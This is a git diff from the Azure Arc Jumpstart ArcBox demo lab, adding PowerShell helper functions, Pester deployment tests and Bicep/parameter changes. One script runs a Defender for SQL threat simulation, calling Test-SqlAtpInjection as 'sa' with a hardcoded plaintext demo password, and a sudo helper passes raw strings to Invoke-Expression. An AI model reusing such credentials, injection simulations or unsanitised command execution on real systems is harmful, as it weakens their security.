\"max\":100,\"palette\":\"blue\"}}],\"filter\":true,\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_0\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"_ResourceId\",\"label\":\"Computer\"}]},\"sortBy\":[{\"itemKey\":\"$gen_link__ResourceId_0\",\"sortOrder\":2}]},\"customWidth\":\"50\",\"name\":\"query - 9 - Copy - Copy - Copy - Copy\",\"styleSettings\":{\"showBorder\":true}}],\"isLocked\":false,\"fallbackResourceIds\":[\"azure monitor\"]}", + "version": "1.0", + "sourceId": "[parameters('workbookSourceId')]", + "category": "[parameters('workbookType')]" + } + } + ], + "outputs": { + "workbookId": { + "type": "string", + "value": "[resourceId( 'microsoft.insights/workbooks', parameters('workbookId'))]" + } + }, + "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#" +} diff --git a/azure_jumpstart_arcbox/artifacts/postgreSQL.parameters.json b/azure_jumpstart_arcbox/artifacts/postgreSQL.parameters.json index 55e8373957..7521bfc1b2 100644 --- a/azure_jumpstart_arcbox/artifacts/postgreSQL.parameters.json +++ b/azure_jumpstart_arcbox/artifacts/postgreSQL.parameters.json @@ -53,11 +53,6 @@ "logStorageClassName": { "value": "logsStorageClassName-stage" }, - "resourceTags": { - "value": { - "Project": "jumpstart_arcbox" - } - }, "numWorkers": { "value": numWorkersStage }, diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 new file mode 100644 index 0000000000..745d3dc772 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psd1 @@ -0,0 +1,131 @@ +# +# Module manifest for module 'Azure.Arc.Jumpstart.Common' +# +# Generated by: Azure Arc Jumpstart +# +# Generated on: 22.12.2023 +# + +@{ + +# Script module or binary module file associated with this manifest. +RootModule = 'Azure.Arc.Jumpstart.Common.psm1' + +# Version number of this module. +ModuleVersion = '0.1.0' + +# Supported PSEditions +# CompatiblePSEditions = @() + +# ID used to uniquely identify this module +GUID = 'a0b1c2d3-e4f5-6a7b-8c9d-0e1f2a3b4c5d' + +# Author of this module +Author = 'Azure Arc Jumpstart' + +# Company or vendor of this module +CompanyName = 'Microsoft' + +# Copyright statement for this module +Copyright = '(c) Azure Arc Jumpstart. All rights reserved.' + +# Description of the functionality provided by this module +Description = 'Common functions for Azure Arc Jumpstart' + +# Minimum version of the PowerShell engine required by this module +# PowerShellVersion = '' + +# Name of the PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. +# ClrVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = @() + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. +FunctionsToExport = 'Set-JSDesktopBackground','Convert-JSImageToBitMap','Show-K8sPodStatus','Deploy-Workbook','Invoke-JSSudoCommand' + +# Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. +CmdletsToExport = '' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. +AliasesToExport = '' + +# DSC resources to export from this module +# DscResourcesToExport = @() + +# List of all modules packaged with this module +# ModuleList = @() + +# List of all files packaged with this module +# FileList = @() + +# Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. +PrivateData = @{ + + PSData = @{ + + # Tags applied to this module. These help with module discovery in online galleries. + # Tags = @() + + # A URL to the license for this module. + # LicenseUri = '' + + # A URL to the main website for this project. + # ProjectUri = '' + + # A URL to an icon representing this module. + # IconUri = '' + + # ReleaseNotes of this module + # ReleaseNotes = '' + + # Prerelease string of this module + # Prerelease = '' + + # Flag to indicate whether the module requires explicit user acceptance for install/update/save + # RequireLicenseAcceptance = $false + + # External dependent modules of this module + # ExternalModuleDependencies = @() + + } # End of PSData hashtable + +} # End of PrivateData hashtable + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + +} diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 new file mode 100644 index 0000000000..cd5bbdda41 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Azure.Arc.Jumpstart.Common.psm1 @@ -0,0 +1,12 @@ +# Load functions from module subfolder +$ModuleRoot = Split-Path -Path $MyInvocation.MyCommand.Path + +Resolve-Path "$ModuleRoot\Functions\Public\*.ps1" | ForEach-Object -Process { + . $_.ProviderPath +} + +<# +Resolve-Path "$ModuleRoot\Functions\Private\*.ps1" | ForEach-Object -Process { + . $_.ProviderPath +} +#> \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/ Invoke-JSSudoCommand.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/ Invoke-JSSudoCommand.ps1 new file mode 100644 index 0000000000..4e34ea7b25 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/ Invoke-JSSudoCommand.ps1 @@ -0,0 +1,24 @@ +function Invoke-JSSudoCommand { + <# + .SYNOPSIS + Invokes sudo command in a remote session to Linux + #> + param ( + [Parameter(Mandatory=$true)] + $Session, + + [Parameter(Mandatory=$true)] + [String] + $Command + ) + Invoke-Command -Session $Session { + $errFile = "/tmp/$($(New-Guid).Guid).err" + Invoke-Expression "sudo ${using:Command} 2>${errFile}" + $err = Get-Content $errFile -ErrorAction SilentlyContinue + Remove-Item $errFile -ErrorAction SilentlyContinue + If (-Not $null -eq $err) + { + $err | Out-String | Write-Warning + } + } + } \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 new file mode 100644 index 0000000000..bbcf65126b --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Convert-JSImageToBitMap.ps1 @@ -0,0 +1,10 @@ +function Convert-JSImageToBitMap { + param ( + $SourceFilePath, + $DestinationFilePath + ) + [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null + $file = Get-Item $SourceFilePath + $convertfile = new-object System.Drawing.Bitmap($file.Fullname) + $convertfile.Save($DestinationFilePath, "bmp") +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Deploy-Workbook.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Deploy-Workbook.ps1 new file mode 100644 index 0000000000..2ee27e66b9 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Deploy-Workbook.ps1 @@ -0,0 +1,27 @@ +function Deploy-Workbook { + param( + [string]$MonitoringDir, + [string]$workbookFileName + ) + + Write-Host "[$(Get-Date -Format t)] INFO: Deploying Azure Workbook $workbookFileName." + Write-Host "`n" + $workbookTemplateFilePath = "$MonitoringDir\$workbookFileName" + # Read the content of the workbook template-file + $content = Get-Content -Path $workbookTemplateFilePath -Raw + # Replace placeholders with actual values + $updatedContent = $content -replace 'rg-placeholder', $env:resourceGroup + $updatedContent = $updatedContent -replace '/subscriptions/00000000-0000-0000-0000-000000000000', "/subscriptions/$($env:subscriptionId)" + $updatedContent = $updatedContent -replace "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/$env:resourceGroup/providers/Microsoft.OperationalInsights/workspaces/xxxx", "/subscriptions/$($env:subscriptionId)/resourceGroups/$($env:resourceGroup)/providers/Microsoft.OperationalInsights/workspaces/$($env:workspaceName)" + + # Write the updated content back to the file + Set-Content -Path $workbookTemplateFilePath -Value $updatedContent + + # Deploy the workbook + try { + New-AzResourceGroupDeployment -ResourceGroupName $Env:resourceGroup -TemplateFile $workbookTemplateFilePath -ErrorAction Stop + Write-Host "[$(Get-Date -Format t)] INFO: Deployment of template-file $workbookTemplateFilePath succeeded." + } catch { + Write-Error "[$(Get-Date -Format t)] ERROR: Deployment of template-file $workbookTemplateFilePath failed. Error details: $PSItem.Exception.Message" + } +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 new file mode 100644 index 0000000000..82009e48b6 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Set-JSDesktopBackground.ps1 @@ -0,0 +1,26 @@ +function Set-JSDesktopBackground { + [CmdletBinding()] + param ( + [Parameter(Mandatory = $true)] + [string]$ImagePath + ) + +$code = @' + using System.Runtime.InteropServices; + namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); + } + } + } +'@ + +Add-Type $code +[Win32.Wallpaper]::SetWallpaper($ImagePath) + +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Show-K8sPodStatus.ps1 b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Show-K8sPodStatus.ps1 new file mode 100644 index 0000000000..28aa2ee870 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/powershell/modules/Azure.Arc.Jumpstart.Common/Functions/Public/Show-K8sPodStatus.ps1 @@ -0,0 +1,13 @@ +function Show-K8sPodStatus { +param ( + [string]$kubeconfig, + [string]$clusterName +) + +while ($true) { + Write-Host "Status for $clusterName at $(Get-Date)" -ForegroundColor Green + kubectl get pods -n arc --kubeconfig $kubeconfig + Start-Sleep -Seconds 5 + Clear-Host +} +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/prepareSqlServerForAssessment.ps1 b/azure_jumpstart_arcbox/artifacts/prepareSqlServerForAssessment.ps1 new file mode 100644 index 0000000000..a57894ddf2 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/prepareSqlServerForAssessment.ps1 @@ -0,0 +1,48 @@ +# This script introduces some addtional SQL server features that are supported only on IaaS, some on both IaaS and SQL MI +# Enable FILESTREAM in configuration manager + +# Create Filestream file storage location +$fsDirPath = "C:\sqlfilestream" +if (![System.IO.Directory]::Exists($fsDirPath)) { + New-Item -Path $fsDirPath -ItemType Directory +} + +$sqlInstance = "MSSQLSERVER" +$wmi = Get-WmiObject -Namespace "ROOT\Microsoft\SqlServer\ComputerManagement15" -Class FilestreamSettings | where {$_.InstanceName -eq $sqlInstance} +$wmi.EnableFilestream(2, $sqlInstance) +Get-Service -Name $sqlInstance | Restart-Service -Force + +# Enable filestream access levels in the database +Set-ExecutionPolicy RemoteSigned -Force +Import-Module "sqlps" -DisableNameChecking +Invoke-Sqlcmd "EXEC sp_configure filestream_access_level, 2;" +Invoke-Sqlcmd "RECONFIGURE" + +# Create Archive database to introduce these SQL feature usage +# Create sample database +$sqlScriptToExecute = @" +DROP DATABASE IF EXISTS [ArchiveDB] +GO + +CREATE DATABASE ArchiveDB +ON +PRIMARY ( NAME = Arch1, + FILENAME = '$fsDirPath\ArchiveDB.mdf'), +FILEGROUP FileStreamGroup1 CONTAINS FILESTREAM ( NAME = Arch3, + FILENAME = '$fsDirPath\filestream1') +LOG ON ( NAME = Archlog1, + FILENAME = '$fsDirPath\archlog1.ldf') +GO + +CREATE TABLE ArchiveDB.dbo.Records +( + [Id] [uniqueidentifier] ROWGUIDCOL NOT NULL UNIQUE, + [SerialNumber] INTEGER UNIQUE, + [Chart] VARBINARY(MAX) FILESTREAM NULL +); +GO +"@ + +Invoke-Sqlcmd $sqlScriptToExecute + +# Wait for the script to complete \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/sqlmi.parameters.json b/azure_jumpstart_arcbox/artifacts/sqlmi.parameters.json index ac7e3e5851..decc45a79b 100644 --- a/azure_jumpstart_arcbox/artifacts/sqlmi.parameters.json +++ b/azure_jumpstart_arcbox/artifacts/sqlmi.parameters.json @@ -59,11 +59,6 @@ "replicas": { "value": replicasStage }, - "resourceTags": { - "value": { - "Project": "jumpstart_arcbox" - } - }, "apiVersion": { "value": "2023-01-15-preview" }, diff --git a/azure_jumpstart_arcbox/artifacts/sqlmiAD.json b/azure_jumpstart_arcbox/artifacts/sqlmiAD.json index 4f6d8238f7..017e71a5ba 100644 --- a/azure_jumpstart_arcbox/artifacts/sqlmiAD.json +++ b/azure_jumpstart_arcbox/artifacts/sqlmiAD.json @@ -74,7 +74,8 @@ "type": "int" }, "resourceTags": { - "type": "object" + "type": "object", + "defaultValue": {} }, "apiVersion": { "type": "string" diff --git a/azure_jumpstart_arcbox/artifacts/sqlmiAD.parameters.json b/azure_jumpstart_arcbox/artifacts/sqlmiAD.parameters.json index ad30f9d65d..282123b0a9 100644 --- a/azure_jumpstart_arcbox/artifacts/sqlmiAD.parameters.json +++ b/azure_jumpstart_arcbox/artifacts/sqlmiAD.parameters.json @@ -59,11 +59,6 @@ "replicas": { "value": replicasStage }, - "resourceTags": { - "value": { - "Project": "jumpstart_arcbox" - } - }, "apiVersion": { "value": "2023-01-15-preview" }, diff --git a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 index ffae28d5e4..b8301c1192 100644 --- a/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 +++ b/azure_jumpstart_arcbox/artifacts/testDefenderForSQL.ps1 @@ -1,22 +1,10 @@ # Execute sql commands to generate defender for cloud alerts +param ( + [string]$workingDir = "C:\ArcBox" +) Write-Host "Executing Defender for SQL threat simulation script." -$attempts = 0 - -while ($attempts -le 5) -{ - $moduleFile = (Get-ChildItem -Path "$Env:ProgramFiles\Microsoft Monitoring Agent\Agent\Health Service State\Resources\" -File SqlAdvancedThreatProtectionShell.psm1 -Recurse -ErrorAction SilentlyContinue).FullName - $attempts = $attempts + 1 - if ($true -eq [System.IO.File]::Exists($moduleFile)) - { - Write-Host "Found module file $moduleFile installed." - break - } - else - { - Write-Host "Module file $moduleFile not installed. Waiting for the module to be installed. Attempt: $attempts" - Start-Sleep(60) # Wait for agent to isntall all modules - } -} +Write-Host "Current working directory: $pwd" +$moduleFile = $workingDir + "\SqlAdvancedThreatProtectionShell.psm1" if ($true -ne [System.IO.File]::Exists($moduleFile)) { @@ -29,7 +17,7 @@ Import-Module $moduleFile Get-Command -Module SqlAdvancedThreatProtectionShell Write-Host "Executing SQL injection" -$saPasswordEncrypted = ConvertTo-SecureString -String "ArcDemo123!!" -AsPlainText -Force +$saPasswordEncrypted = ConvertTo-SecureString -String "JS123!!" -AsPlainText -Force Test-SqlAtpInjection -UserName sa -Password $saPasswordEncrypted # High risk Start-Sleep(30) # Wait between tests diff --git a/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 new file mode 100644 index 0000000000..ab954082b1 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/Invoke-Test.ps1 @@ -0,0 +1,36 @@ +#Requires -Modules @{ ModuleName="Pester"; ModuleVersion="5.6.0"} + +$Env:ArcBoxDir = "C:\ArcBox" +$Env:ArcBoxTestsDir = "$Env:ArcBoxDir\Tests" + +Invoke-Pester -Path "$Env:ArcBoxTestsDir\common.tests.ps1" -Output Detailed -PassThru -OutVariable tests_common +$tests_passed = $tests_common.Passed.Count +$tests_failed = $tests_common.Failed.Count + +switch ($env:flavor) { + 'DevOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\devops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_devops + $tests_passed = $tests_passed + $tests_devops.Passed.Count + $tests_failed = $tests_failed + $tests_devops.Failed.Count + } + 'DataOps' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\dataops.tests.ps1" -Output Detailed -PassThru -OutVariable tests_dataops + $tests_passed = $tests_passed + $tests_dataops.Passed.Count + $tests_failed = $tests_failed + $tests_dataops.Failed.Count + } + 'ITPro' { + Invoke-Pester -Path "$Env:ArcBoxTestsDir\itpro.tests.ps1" -Output Detailed -PassThru -OutVariable tests_itpro + $tests_passed = $tests_passed + $tests_itpro.Passed.Count + $tests_failed = $tests_failed + $tests_itpro.Failed.Count + } +} + +Write-Output "Tests succeeded: $tests_passed" +Write-Output "Tests failed: $tests_failed" + +Write-Header "Adding deployment test results to wallpaper using BGInfo" + +Set-Content "$Env:windir\TEMP\arcbox-tests-succeeded.txt" $tests_passed +Set-Content "$Env:windir\TEMP\arcbox-tests-failed.txt" $tests_failed + +bginfo.exe $Env:ArcBoxTestsDir\arcbox-bginfo.bgi /timer:0 /NOLICPROMPT \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi b/azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi new file mode 100644 index 0000000000..cbfeba7c82 Binary files /dev/null and b/azure_jumpstart_arcbox/artifacts/tests/arcbox-bginfo.bgi differ diff --git a/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 new file mode 100644 index 0000000000..809393983a --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/common.tests.ps1 @@ -0,0 +1,14 @@ +BeforeDiscovery { + + $null = Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId + +} + +Describe "ArcBox resource group" { + BeforeAll { + $ResourceGroupName = $env:resourceGroup + } + It "should have 30 resources or more" { + (Get-AzResource -ResourceGroupName $ResourceGroupName).count | Should -BeGreaterOrEqual 30 + } +} diff --git a/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 new file mode 100644 index 0000000000..b8e2cfe02c --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/dataops.tests.ps1 @@ -0,0 +1,110 @@ + +BeforeDiscovery { + + $k3sArcDataClusterName = $env:k3sArcDataClusterName + $aksArcClusterName = $env:aksArcClusterName + $aksdrArcClusterName = $env:aksdrArcClusterName + $namingPrefix = $env:namingPrefix + + $clusters = @($k3sArcDataClusterName, $aksArcClusterName, $aksdrArcClusterName) + $customLocations = @("${k3sArcDataClusterName}-cl", "${aksArcClusterName}-cl", "${aksdrArcClusterName}-cl") + $dataControllers = @("${k3sArcDataClusterName}-dc", "${aksArcClusterName}-dc", "${aksdrArcClusterName}-dc") + $sqlMiInstances = @("k3s-sql", "aks-sql", "aks-dr-sql") + $drPartners = @("k3s-sql", "aks-dr-sql") + $VMs = @("$namingPrefix-sql") + + $null = Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId + az config set extension.use_dynamic_install=yes_without_prompt +} + +Describe "" -ForEach $clusters { + BeforeAll { + $cluster = $_ + } + It "Cluster exists" { + $clusterObject = Get-AzConnectedKubernetes -ClusterName $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $clusterObject | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected cluster is connected" { + $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedCluster.ConnectivityStatus | Should -Be "Connected" + } +} + +Describe "" -ForEach $customLocations { + BeforeAll { + $customLocation = $_ + } + It "Custom Location exists" { + $customLocationObject = Get-AzCustomLocation -Name $customLocation -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $customLocationObject | Should -Not -BeNullOrEmpty + } + It "Custom Location is connected" { + $customLocationObject = Get-AzCustomLocation -Name $customLocation -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $customLocationObject.ProvisioningState | Should -Be "Succeeded" + } +} + +Describe "" -ForEach $dataControllers { + BeforeAll { + $dataController = $_ + } + It "Data Controller exists" { + $dataControllerObject = $(az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}") + ($dataControllerObject | ConvertFrom-Json).Name | Should -Not -BeNullOrEmpty + } + It "Data Controller is connected" { + $dataControllerObject = $(az arcdata dc status show --resource-group $env:resourceGroup --name $dataController --query "{name:name,state:properties.k8SRaw.status.state}") + ($dataControllerObject | ConvertFrom-Json).State | Should -Be "Ready" + } +} + +Describe "" -ForEach $sqlMiInstances { + BeforeAll { + $sqlInstance = $_ + } + It "SQL Managed Instance exists" { + $sqlMiInstanceObject = $(az sql mi-arc show --resource-group $env:resourceGroup --name $sqlInstance --query "{name:name,state:properties.k8SRaw.status.state}") + ($sqlMiInstanceObject| ConvertFrom-Json).Name | Should -Not -BeNullOrEmpty + } + It "SQL Managed Instance is connected" { + $sqlMiInstanceObject = $(az sql mi-arc show --resource-group $env:resourceGroup --name $sqlInstance --query "{name:name,state:properties.k8SRaw.status.state}") + ($sqlMiInstanceObject| ConvertFrom-Json).State | Should -Be "Ready" + } +} + +Describe "" -ForEach $drPartners{ + BeforeAll { + $drPartner = $_ + } + It "DR configuration exists" { + $drConfig = $(az sql instance-failover-group-arc list --resource-group $env:resourceGroup --mi $drPartner) + $drConfig | Should -Not -Be "Found 0 failover group(s)." + } + It "DR configuration is healthy" { + $drConfig = $(az sql mi-arc show --resource-group $env:resourceGroup --name $drPartner --query "{name:name,state:properties.k8SRaw.status.highAvailability.healthState}") + ($drConfig| ConvertFrom-Json).state | Should -Be "Ok" + } +} + +Describe "" -ForEach $VMs { + BeforeAll { + $vm = $_ + } + It "VM exists" { + $vmobject = Get-VM -Name $vm + $vmobject | Should -Not -BeNullOrEmpty + } + It "VM is running" { + $vmobject = Get-VM -Name $vm + $vmobject.State | Should -Be "Running" + } + It "Azure Arc Connected Machine exists" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected Machine is connected" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine.Status | Should -Be "Connected" + } +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 new file mode 100644 index 0000000000..01666fb69f --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/devops.tests.ps1 @@ -0,0 +1,26 @@ + +BeforeDiscovery { + + $k3sArcDataClusterName = $env:k3sArcDataClusterName + $k3sArcClusterName = $env:k3sArcClusterName + + $clusters = @($k3sArcDataClusterName, $k3sArcClusterName) + $VMs = @($k3sArcDataClusterName, $k3sArcClusterName) + + $null = Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId + az config set extension.use_dynamic_install=yes_without_prompt +} + +Describe "" -ForEach $clusters { + BeforeAll { + $cluster = $_ + } + It "Cluster exists" { + $clusterObject = Get-AzConnectedKubernetes -ClusterName $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $clusterObject | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected cluster is connected" { + $connectedCluster = Get-AzConnectedKubernetes -Name $cluster -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedCluster.ConnectivityStatus | Should -Be "Connected" + } +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 new file mode 100644 index 0000000000..a07fbf02f2 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/tests/itpro.tests.ps1 @@ -0,0 +1,30 @@ + +BeforeDiscovery { + $namingPrefix = $env:namingPrefix + $VMs = @("$namingPrefix-SQL", "$namingPrefix-Ubuntu-01", "$namingPrefix-Ubuntu-02","$namingPrefix-Win2K19","$namingPrefix-Win2K22") + $null = Connect-AzAccount -Identity -Tenant $env:tenantId -Subscription $env:subscriptionId +} + +# Assert that the Hyper-V virtual machines in $VMs exists, are running and connected as Azure Arc-enabled servers + +Describe "" -ForEach $VMs { + BeforeAll { + $vm = $_ + } + It "VM exists" { + $vmobject = Get-VM -Name $vm + $vmobject | Should -Not -BeNullOrEmpty + } + It "VM is running" { + $vmobject = Get-VM -Name $vm + $vmobject.State | Should -Be "Running" + } + It "Azure Arc Connected Machine exists" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine | Should -Not -BeNullOrEmpty + } + It "Azure Arc Connected Machine is connected" { + $connectedMachine = Get-AzConnectedMachine -Name $vm -ResourceGroupName $env:resourceGroup -SubscriptionId $env:subscriptionId + $connectedMachine.Status | Should -Be "Connected" + } +} diff --git a/azure_jumpstart_arcbox/artifacts/welcomeCAPI.sh b/azure_jumpstart_arcbox/artifacts/welcomeCAPI.sh deleted file mode 100644 index 9274a95690..0000000000 --- a/azure_jumpstart_arcbox/artifacts/welcomeCAPI.sh +++ /dev/null @@ -1,9 +0,0 @@ -tput setaf 1;echo "-----------------------------------------------------------------------------------------------------------------------------" -echo "" -tput setaf 6;echo "Welcome to Jumpstart ArcBox Cluster API (CAPI) Kubernetes cluster!" -echo "" -tput setaf 6;echo "* To check the CAPI deployment log, use the 'cat jumpstart_logs/installCAPI.log' command." -echo "" -tput setaf 6;echo "* To work with the CAPI Kubernetes cluster, use the 'kubectl '. For example: kubectl get nodes" -echo "" -tput setaf 1;echo "-----------------------------------------------------------------------------------------------------------------------------" \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh b/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh index 6e440b507b..0aecf0ccec 100644 --- a/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/welcomeK3s.sh @@ -2,7 +2,7 @@ tput setaf 1;echo "------------------------------------------------------------- echo "" tput setaf 6;echo "Welcome to Jumpstart ArcBox Rancher K3s Kubernetes cluster management virtual machine!" echo "" -tput setaf 6;echo "* To check the Rancher K3s deployment log, use the 'cat jumpstart_logs/installK3s.log' command." +tput setaf 6;echo "* To check the Rancher K3s deployment log, use the 'cat jumpstart_logs/installK3s-$(hostname).log' command." echo "" tput setaf 6;echo "* To work with Rancher K3s workload Kubernetes cluster, use the 'kubectl '. For example: kubectl get nodes" echo "" diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 342e3fae4c..752879868e 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -1,12 +1,18 @@ @description('The name of your Virtual Machine') -param vmName string = 'ArcBox-Client' +param vmName string = '${namingPrefix}-Client' @description('The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster') -param capiArcDataClusterName string = 'ArcBox-CAPI-Data' +param k3sArcDataClusterName string = '${namingPrefix}-K3s-Data' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' +@description('Enable automatic logon into ArcBox Virtual Machine') +param vmAutologon bool = false + +@description('Override default RDP port using this parameter. Default is 3389. No changes will be made to the client VM.') +param rdpPort string = '3389' + @description('Password for Windows account. Password must have 3 of the following: 1 lower case character, 1 upper case character, 1 number, and 1 special character. The value must be between 12 and 123 characters long') @minLength(12) @maxLength(123) @@ -22,29 +28,19 @@ param location string = resourceGroup().location @description('Resource Id of the subnet in the virtual network') param subnetId string -param resourceTags object = { - Project: 'jumpstart_arcbox' -} - -@description('Client id of the service principal') -param spnClientId string - -@description('Client secret of the service principal') -@secure() -param spnClientSecret string param spnAuthority string = 